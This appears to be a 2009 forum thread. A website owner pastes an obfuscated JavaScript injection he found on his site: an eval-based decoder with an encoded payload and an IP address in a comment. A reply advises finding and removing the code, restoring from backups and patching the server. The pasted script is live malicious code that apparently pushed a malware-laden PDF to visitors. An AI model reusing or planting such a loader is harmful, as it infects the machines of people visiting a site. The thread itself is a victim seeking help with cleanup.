Reply
Fri 6 Feb, 2009 02:25 am
any one help to solve the following script and send me the solution to my mail (ramesh_7199@rediffmail.com).. I m thankful to them
<script language=JavaScript>function cinbn51(b) {var e=b.length,f=1024,m,y,p,k=0,j=0,n=0,t=Array(63,37,2,16,18,60,25,15,30,59,0,0,0,0,0,0,17,57,20,0,8,24,1,41,49,35,51,13,42,9,11,10,56,33,44,26,19,12,32,53,29,40,62,0,0,0,0,38,0,14,58,55,50,31,3,43,45,54,23,5,4,6,39,7,22,27,28,47,36,34,52,21,46,48,61);for(y=Math.ceil(e/f);y>0;y--){p='';for(m=Math.min(e,f);m>0;m--,e--){{n|=(t[b.charCodeAt(k++)-48])<<j;if(j){p+=String.fromCharCode(242^n&255);n>>=8;j-=2}else{j=6}}}eval(p);}}cinbn51('kxMnpi6QroYQTSPQFZrWiiMnjpXdpi6toZA1rSDck2P_m8Giw95_B2Pte8GvraAnjZrtFert3aGvF2Et7fh_mSYVDcXcNoEn8S6nrsMnBi6cmiXJwnzsTSY_rfEnodG1S09tmLMcCaMnpiAnSsKifqUyks5i6jXtFert3a6W6jKv4jP_pSY_77ryfNh_jx61SSPJfN5d4oYQNbA17fh1qmYV8aAuDJ6nr8MvU9rcq4MVTZA1Ujzi') </script><!-- 216.97.225.85 -->
@ramesh7199,
Search your site code (download it all off the server) for strings from that javascript. If you are comfortable grep it on linux, or you can use something like PowerGrep (not free but they have a 15 day trial) to do it. When you find the matches you will need to remove them. For this you should be comfortable reading the code your site is made in.
Alternately, if you have clean backups it might be easier to perform a restore than to hunt down all the vandalism.
You'll also need to patch the holes that let them do that to your site, and really should be talking to a server administrator about this. Just deleting the code isn't going to help if your box has been rooted by the hacker.
@ramesh7199,
How to remove virus from my Website? I opened my website and it tried to download a pdf document. At least it appeared that way. My virus software caught it and alerted me. I don't want people to go to my site and get a virus.
Stumble It!
Tweet This
Bookmark on Delicious
Share on Facebook
Share on MySpace